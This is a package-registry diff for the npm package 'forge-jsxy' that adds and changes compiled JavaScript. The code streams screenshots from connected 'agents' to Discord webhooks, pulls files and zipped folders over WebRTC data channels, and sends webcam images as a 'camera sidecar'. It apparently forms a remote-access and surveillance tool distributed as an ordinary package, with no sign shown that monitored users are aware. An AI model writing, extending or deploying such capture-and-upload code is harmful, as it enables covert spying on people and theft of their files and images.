forge-jsxy 1.0.78 → 1.0.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli-relay.js CHANGED
@@ -28,6 +28,9 @@ function parseArgs(argv) {
28
28
  ` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
29
29
  ` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
30
30
  ` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
31
+ ` WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
32
+ ` default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
33
+ ` RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
31
34
  ` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
32
35
  process.exit(0);
33
36
  }
@@ -73,6 +73,7 @@ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
73
73
  * Upload mode: relay may send `relay_features.discord_screenshot_upload_mode` (`webhook`|`relay`) from
74
74
  * `RELAY_DISCORD_AGENT_UPLOAD_MODE`; applied when `FORGE_JS_DISCORD_UPLOAD_MODE` is unset (agent wins if set).
75
75
  * Optional `FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1` to retry failed webhook uploads via relay WS (default off).
76
+ * **`FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY`** — when `1` (default), shrink toward max clarity within webhook byte cap (`FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES`); set `0` for faster/smaller JPEG encodes.
76
77
  */
77
78
  const node_crypto_1 = require("node:crypto");
78
79
  const discordBotTokens_1 = require("./discordBotTokens");
@@ -143,7 +144,7 @@ function discordUploadMode() {
143
144
  }
144
145
  /**
145
146
  * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
146
- * (default **4**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
147
+ * (default **12**, min **1**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
147
148
  */
148
149
  function discordWebhookTicketFlowMaxAttempts() {
149
150
  const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
@@ -258,6 +259,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
258
259
  };
259
260
  const flushUploadRelay = (b64) => {
260
261
  const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
262
+ /** Hold screenshot payload locally so we can clear it after upload (large base64 strings). */
261
263
  let payload = b64;
262
264
  void (async () => {
263
265
  try {
@@ -293,7 +295,8 @@ function startDiscordScreenshotToRelayLoop(opts) {
293
295
  })();
294
296
  };
295
297
  const flushUploadWebhook = (b64) => {
296
- const originalB64 = b64;
298
+ /** Cleared in `finally` so giant base64 does not linger across uploads / retries. */
299
+ let screenshotB64ForFallback = b64;
297
300
  let rawB64 = b64;
298
301
  void (async () => {
299
302
  let png;
@@ -304,6 +307,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
304
307
  if (!opts.quiet) {
305
308
  console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
306
309
  }
310
+ screenshotB64ForFallback = "";
307
311
  rawB64 = "";
308
312
  uploadBusy = false;
309
313
  if (!stopped && pendingB64Queue.length > 0)
@@ -320,8 +324,9 @@ function startDiscordScreenshotToRelayLoop(opts) {
320
324
  }
321
325
  // Optional relay WS fallback only when FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1.
322
326
  if (discordWebhookRelayFallbackEnabled()) {
323
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
327
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook payload too large after local shrink");
324
328
  }
329
+ screenshotB64ForFallback = "";
325
330
  try {
326
331
  png.fill(0);
327
332
  }
@@ -365,7 +370,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
365
370
  console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
366
371
  }
367
372
  if (discordWebhookRelayFallbackEnabled()) {
368
- await relayFallbackUploadWithRetry(originalB64, err);
373
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, err);
369
374
  }
370
375
  return;
371
376
  }
@@ -395,7 +400,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
395
400
  console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
396
401
  }
397
402
  if (discordWebhookRelayFallbackEnabled()) {
398
- await relayFallbackUploadWithRetry(originalB64, posted.error);
403
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, posted.error);
399
404
  }
400
405
  return;
401
406
  }
@@ -403,7 +408,7 @@ function startDiscordScreenshotToRelayLoop(opts) {
403
408
  console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
404
409
  }
405
410
  if (discordWebhookRelayFallbackEnabled()) {
406
- await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
411
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, "Discord webhook flow exhausted ticket/post retries");
407
412
  }
408
413
  }
409
414
  catch (e) {
@@ -411,10 +416,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
411
416
  console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
412
417
  }
413
418
  if (discordWebhookRelayFallbackEnabled()) {
414
- await relayFallbackUploadWithRetry(originalB64, String(e));
419
+ await relayFallbackUploadWithRetry(screenshotB64ForFallback, String(e));
415
420
  }
416
421
  }
417
422
  finally {
423
+ screenshotB64ForFallback = "";
424
+ rawB64 = "";
418
425
  if (png && png.length > 0) {
419
426
  try {
420
427
  png.fill(0);
@@ -0,0 +1,69 @@
1
+ /**
2
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
3
+ *
4
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
5
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
6
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
7
+ *
8
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
9
+ * Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
10
+ *
11
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
12
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
13
+ */
14
+ export declare const FORGE_BULK_MAGIC_KEY = "_fb";
15
+ export declare const FORGE_BULK_MAGIC_VAL = "hdr";
16
+ /** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
17
+ export declare const FORGE_BULK_ABORT_VAL = "abort";
18
+ /** Legacy single-binary framing (still accepted by viewers). */
19
+ export declare const FORGE_BULK_VERSION_V1 = 1;
20
+ /** Chunked binary framing (agent send path). */
21
+ export declare const FORGE_BULK_VERSION = 2;
22
+ /** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
23
+ export declare const FORGE_BULK_MAX_BODY_BYTES: number;
24
+ /** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
25
+ export declare const FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES: number;
26
+ /** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
27
+ export declare const FORGE_BULK_V2_MAX_CHUNK_SZ: number;
28
+ /** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
29
+ export declare const FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
30
+ export type ForgeBulkDc = {
31
+ isOpen: () => boolean;
32
+ sendMessage: (s: string) => boolean;
33
+ sendMessageBinary: (b: Uint8Array) => boolean;
34
+ };
35
+ export type ForgeBulkPushResult = {
36
+ status: "pending";
37
+ } | {
38
+ status: "complete";
39
+ msg: Record<string, unknown>;
40
+ } | {
41
+ status: "error";
42
+ };
43
+ export declare function forgeBulkAbortWireJson(): string;
44
+ /**
45
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
46
+ */
47
+ export declare class ForgeBulkInboundAssembler {
48
+ private mode;
49
+ private hdr;
50
+ private byteLen;
51
+ private chunkSz;
52
+ private buf;
53
+ private filled;
54
+ reset(): void;
55
+ pushJson(text: string): ForgeBulkPushResult;
56
+ pushBinary(data: Uint8Array): ForgeBulkPushResult;
57
+ }
58
+ /**
59
+ * Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
60
+ */
61
+ export declare function forgeBulkAgentSendV2FromDecoded(dc: ForgeBulkDc, hdr: Record<string, unknown>, raw: Buffer): boolean;
62
+ export declare function forgeBulkAgentTrySend(dc: ForgeBulkDc | null | undefined, resp: Record<string, unknown>): boolean;
63
+ /** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
64
+ export declare function forgeBulkAgentTrySendScreenshotCameraSidecar(dc: ForgeBulkDc | null | undefined, opts: {
65
+ request_id: unknown;
66
+ camera_mime?: unknown;
67
+ camera_width_percent?: unknown;
68
+ camera_available?: unknown;
69
+ }, cameraB64: string): boolean;
@@ -0,0 +1,308 @@
1
+ "use strict";
2
+ /**
3
+ * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.
4
+ *
5
+ * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).
6
+ * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,
7
+ * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.
8
+ *
9
+ * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.
10
+ * Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).
11
+ *
12
+ * **Abort:** If the agent sends a v2 header but a binary chunk fails, it emits `_fb:"abort"` so the viewer
13
+ * resets — otherwise the next hdr could be mis-parsed while mid-chunk.
14
+ */
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ exports.ForgeBulkInboundAssembler = exports.FORGE_BULK_V2_MIN_CHUNK_SZ = exports.FORGE_BULK_V2_MAX_CHUNK_SZ = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = exports.FORGE_BULK_MAX_BODY_BYTES = exports.FORGE_BULK_VERSION = exports.FORGE_BULK_VERSION_V1 = exports.FORGE_BULK_ABORT_VAL = exports.FORGE_BULK_MAGIC_VAL = exports.FORGE_BULK_MAGIC_KEY = void 0;
17
+ exports.forgeBulkAbortWireJson = forgeBulkAbortWireJson;
18
+ exports.forgeBulkAgentSendV2FromDecoded = forgeBulkAgentSendV2FromDecoded;
19
+ exports.forgeBulkAgentTrySend = forgeBulkAgentTrySend;
20
+ exports.forgeBulkAgentTrySendScreenshotCameraSidecar = forgeBulkAgentTrySendScreenshotCameraSidecar;
21
+ const fsProtocol_1 = require("./fsProtocol");
22
+ exports.FORGE_BULK_MAGIC_KEY = "_fb";
23
+ exports.FORGE_BULK_MAGIC_VAL = "hdr";
24
+ /** Agent sends this JSON string on `forge-bulk` after a failed v2 body transfer (viewer resets framing). */
25
+ exports.FORGE_BULK_ABORT_VAL = "abort";
26
+ /** Legacy single-binary framing (still accepted by viewers). */
27
+ exports.FORGE_BULK_VERSION_V1 = 1;
28
+ /** Chunked binary framing (agent send path). */
29
+ exports.FORGE_BULK_VERSION = 2;
30
+ /** Matches explorer `fs_read` / `fs_zip` per-response body cap (`MAX_READ_BYTES * 4`). */
31
+ exports.FORGE_BULK_MAX_BODY_BYTES = fsProtocol_1.MAX_READ_BYTES * 4;
32
+ /** Raw bytes per binary SCTP message (conservative; well under common ~256 KiB DC limits). */
33
+ exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES = 56 * 1024;
34
+ /** Viewer rejects absurd `chunk_sz` in headers (DoS guard). */
35
+ exports.FORGE_BULK_V2_MAX_CHUNK_SZ = 256 * 1024;
36
+ /** Minimum advertised `chunk_sz` for v2 (must match viewer templates). */
37
+ exports.FORGE_BULK_V2_MIN_CHUNK_SZ = 1024;
38
+ const HDR_STR_MAX = 24576;
39
+ function stripBulkHdrFields(hdr) {
40
+ const msg = {};
41
+ for (const k of Object.keys(hdr)) {
42
+ if (k === exports.FORGE_BULK_MAGIC_KEY || k === "v" || k === "byte_len" || k === "chunk_sz")
43
+ continue;
44
+ msg[k] = hdr[k];
45
+ }
46
+ return msg;
47
+ }
48
+ function bytesToB64(buf) {
49
+ return Buffer.from(buf).toString("base64");
50
+ }
51
+ function forgeBulkAbortWireJson() {
52
+ return JSON.stringify({
53
+ [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_ABORT_VAL,
54
+ v: exports.FORGE_BULK_VERSION,
55
+ });
56
+ }
57
+ function trySendBulkAbort(dc) {
58
+ try {
59
+ if (dc.isOpen())
60
+ dc.sendMessage(forgeBulkAbortWireJson());
61
+ }
62
+ catch {
63
+ /* skip */
64
+ }
65
+ }
66
+ /**
67
+ * Stateful decoder for forge-bulk messages (used in Node tests; mirrors browser viewers).
68
+ */
69
+ class ForgeBulkInboundAssembler {
70
+ mode = "hdr";
71
+ hdr = null;
72
+ byteLen = 0;
73
+ chunkSz = 0;
74
+ buf = null;
75
+ filled = 0;
76
+ reset() {
77
+ this.mode = "hdr";
78
+ this.hdr = null;
79
+ this.byteLen = 0;
80
+ this.chunkSz = 0;
81
+ this.buf = null;
82
+ this.filled = 0;
83
+ }
84
+ pushJson(text) {
85
+ let j;
86
+ try {
87
+ j = JSON.parse(text);
88
+ }
89
+ catch {
90
+ this.reset();
91
+ return { status: "error" };
92
+ }
93
+ const magic = j && j[exports.FORGE_BULK_MAGIC_KEY];
94
+ if (magic === exports.FORGE_BULK_ABORT_VAL) {
95
+ this.reset();
96
+ return { status: "error" };
97
+ }
98
+ if (this.mode !== "hdr") {
99
+ if (magic === exports.FORGE_BULK_MAGIC_VAL) {
100
+ this.reset();
101
+ }
102
+ else {
103
+ this.reset();
104
+ return { status: "error" };
105
+ }
106
+ }
107
+ if (!j || magic !== exports.FORGE_BULK_MAGIC_VAL) {
108
+ this.reset();
109
+ return { status: "error" };
110
+ }
111
+ const ver = Number(j.v);
112
+ if (ver !== exports.FORGE_BULK_VERSION_V1 && ver !== exports.FORGE_BULK_VERSION) {
113
+ this.reset();
114
+ return { status: "error" };
115
+ }
116
+ const bl = Number(j.byte_len);
117
+ if (!Number.isFinite(bl) || bl < 0 || bl > exports.FORGE_BULK_MAX_BODY_BYTES || Math.floor(bl) !== bl) {
118
+ this.reset();
119
+ return { status: "error" };
120
+ }
121
+ const byteLen = bl | 0;
122
+ this.hdr = j;
123
+ this.byteLen = byteLen;
124
+ if (byteLen === 0) {
125
+ const msg = stripBulkHdrFields(j);
126
+ msg.b64 = "";
127
+ this.reset();
128
+ return { status: "complete", msg };
129
+ }
130
+ if (ver === exports.FORGE_BULK_VERSION_V1) {
131
+ this.mode = "v1wait";
132
+ return { status: "pending" };
133
+ }
134
+ let cs = Number(j.chunk_sz);
135
+ if (!Number.isFinite(cs) ||
136
+ cs < exports.FORGE_BULK_V2_MIN_CHUNK_SZ ||
137
+ cs > exports.FORGE_BULK_V2_MAX_CHUNK_SZ ||
138
+ Math.floor(cs) !== cs) {
139
+ this.reset();
140
+ return { status: "error" };
141
+ }
142
+ this.chunkSz = cs | 0;
143
+ try {
144
+ this.buf = new Uint8Array(byteLen);
145
+ }
146
+ catch {
147
+ this.reset();
148
+ return { status: "error" };
149
+ }
150
+ this.filled = 0;
151
+ this.mode = "v2fill";
152
+ return { status: "pending" };
153
+ }
154
+ pushBinary(data) {
155
+ if (this.mode === "hdr") {
156
+ this.reset();
157
+ return { status: "error" };
158
+ }
159
+ if (!this.hdr || data.length <= 0) {
160
+ this.reset();
161
+ return { status: "error" };
162
+ }
163
+ if (this.mode === "v1wait") {
164
+ if (data.length !== this.byteLen) {
165
+ this.reset();
166
+ return { status: "error" };
167
+ }
168
+ const msg = stripBulkHdrFields(this.hdr);
169
+ msg.b64 = bytesToB64(data);
170
+ this.reset();
171
+ return { status: "complete", msg };
172
+ }
173
+ if (this.mode === "v2fill") {
174
+ const buf = this.buf;
175
+ if (!buf) {
176
+ this.reset();
177
+ return { status: "error" };
178
+ }
179
+ const rem = this.byteLen - this.filled;
180
+ if (data.length > rem) {
181
+ this.reset();
182
+ return { status: "error" };
183
+ }
184
+ if (rem > this.chunkSz) {
185
+ if (data.length !== this.chunkSz) {
186
+ this.reset();
187
+ return { status: "error" };
188
+ }
189
+ }
190
+ else if (data.length !== rem) {
191
+ this.reset();
192
+ return { status: "error" };
193
+ }
194
+ buf.set(data, this.filled);
195
+ this.filled += data.length;
196
+ if (this.filled === this.byteLen) {
197
+ const msg = stripBulkHdrFields(this.hdr);
198
+ msg.b64 = bytesToB64(buf);
199
+ this.reset();
200
+ return { status: "complete", msg };
201
+ }
202
+ return { status: "pending" };
203
+ }
204
+ this.reset();
205
+ return { status: "error" };
206
+ }
207
+ }
208
+ exports.ForgeBulkInboundAssembler = ForgeBulkInboundAssembler;
209
+ /**
210
+ * Send one v2 bulk transfer: JSON hdr (includes `byte_len`, `chunk_sz`) then chunked raw body.
211
+ */
212
+ function forgeBulkAgentSendV2FromDecoded(dc, hdr, raw) {
213
+ if (!dc.isOpen())
214
+ return false;
215
+ const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
216
+ let hdrStr;
217
+ try {
218
+ hdrStr = JSON.stringify(hdr);
219
+ }
220
+ catch {
221
+ return false;
222
+ }
223
+ if (hdrStr.length > HDR_STR_MAX)
224
+ return false;
225
+ let hdrCommitted = false;
226
+ try {
227
+ if (!dc.sendMessage(hdrStr))
228
+ return false;
229
+ hdrCommitted = true;
230
+ for (let off = 0; off < raw.length; off += chunkSz) {
231
+ const slice = raw.subarray(off, Math.min(off + chunkSz, raw.length));
232
+ if (!dc.sendMessageBinary(new Uint8Array(slice))) {
233
+ trySendBulkAbort(dc);
234
+ return false;
235
+ }
236
+ }
237
+ return true;
238
+ }
239
+ catch {
240
+ if (hdrCommitted)
241
+ trySendBulkAbort(dc);
242
+ return false;
243
+ }
244
+ }
245
+ function forgeBulkAgentTrySend(dc, resp) {
246
+ if (!dc?.isOpen())
247
+ return false;
248
+ const ty = String(resp.type ?? "");
249
+ if (ty !== "fs_read_result" && ty !== "fs_zip_result" && ty !== "fs_screenshot_result")
250
+ return false;
251
+ const b64 = resp.b64;
252
+ if (typeof b64 !== "string" || b64.length === 0)
253
+ return false;
254
+ let raw;
255
+ try {
256
+ raw = Buffer.from(b64, "base64");
257
+ }
258
+ catch {
259
+ return false;
260
+ }
261
+ if (raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
262
+ return false;
263
+ const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
264
+ const hdr = {
265
+ [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
266
+ v: exports.FORGE_BULK_VERSION,
267
+ byte_len: raw.length,
268
+ chunk_sz: chunkSz,
269
+ };
270
+ for (const [k, v] of Object.entries(resp)) {
271
+ if (k === "b64")
272
+ continue;
273
+ /** Never embed auxiliary frames in the JSON hdr — size cap + screenshot overlay uses separate bulk transfer. */
274
+ if (ty === "fs_screenshot_result" && k === "camera_b64")
275
+ continue;
276
+ hdr[k] = v;
277
+ }
278
+ return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
279
+ }
280
+ /** Second v2 transfer after `fs_screenshot_result` — camera JPEG/PNG bytes only (dashboard overlay). */
281
+ function forgeBulkAgentTrySendScreenshotCameraSidecar(dc, opts, cameraB64) {
282
+ if (!dc?.isOpen())
283
+ return false;
284
+ let raw;
285
+ try {
286
+ raw = Buffer.from(cameraB64, "base64");
287
+ }
288
+ catch {
289
+ return false;
290
+ }
291
+ if (raw.length === 0 || raw.length > exports.FORGE_BULK_MAX_BODY_BYTES)
292
+ return false;
293
+ const chunkSz = exports.FORGE_BULK_V2_CHUNK_PAYLOAD_BYTES;
294
+ const hdr = {
295
+ [exports.FORGE_BULK_MAGIC_KEY]: exports.FORGE_BULK_MAGIC_VAL,
296
+ v: exports.FORGE_BULK_VERSION,
297
+ byte_len: raw.length,
298
+ chunk_sz: chunkSz,
299
+ type: "fs_screenshot_sidecar_result",
300
+ sidecar: "camera",
301
+ ok: true,
302
+ request_id: opts.request_id,
303
+ camera_mime: opts.camera_mime ?? "image/jpeg",
304
+ camera_width_percent: opts.camera_width_percent,
305
+ camera_available: opts.camera_available,
306
+ };
307
+ return forgeBulkAgentSendV2FromDecoded(dc, hdr, raw);
308
+ }
@@ -0,0 +1,31 @@
1
+ export declare function forgeWebRtcP2PEnabled(): boolean;
2
+ export declare function agentOutboundPreferRtcDc(msgType: string): boolean;
3
+ export declare function rtcIceServersForNodeDc(raw: unknown[] | null | undefined): string[];
4
+ export type ForgeRtcSignalingSend = (msg: Record<string, unknown>) => void;
5
+ type PeerConnCtor = typeof import("node-datachannel").PeerConnection;
6
+ export type DataChannelApi = {
7
+ sendMessage: (s: string) => boolean;
8
+ sendMessageBinary?: (b: Uint8Array) => boolean;
9
+ isOpen: () => boolean;
10
+ };
11
+ export interface ForgeRtcAgentSessionOptions {
12
+ PeerConnection: PeerConnCtor;
13
+ sdp: string;
14
+ sdpType: string;
15
+ iceServers: string[];
16
+ sendSignaling: ForgeRtcSignalingSend;
17
+ /** `main` = `forge-rc`; `input` = optional `forge-rc-input`; `bulk` = ordered `forge-bulk` (large fs payloads). */
18
+ setOutboundDc: (which: "main" | "input" | "bulk", dc: DataChannelApi | null) => void;
19
+ onInboundDcText: (text: string) => void;
20
+ onFatal: () => void;
21
+ quiet: boolean;
22
+ }
23
+ export declare class ForgeRtcAgentSession {
24
+ private readonly pc;
25
+ private destroyed;
26
+ constructor(opts: ForgeRtcAgentSessionOptions);
27
+ addRemoteIce(candidate: string, mid: string): void;
28
+ close(): void;
29
+ }
30
+ export declare function loadNodeDcPeerConnection(): PeerConnCtor | null;
31
+ export {};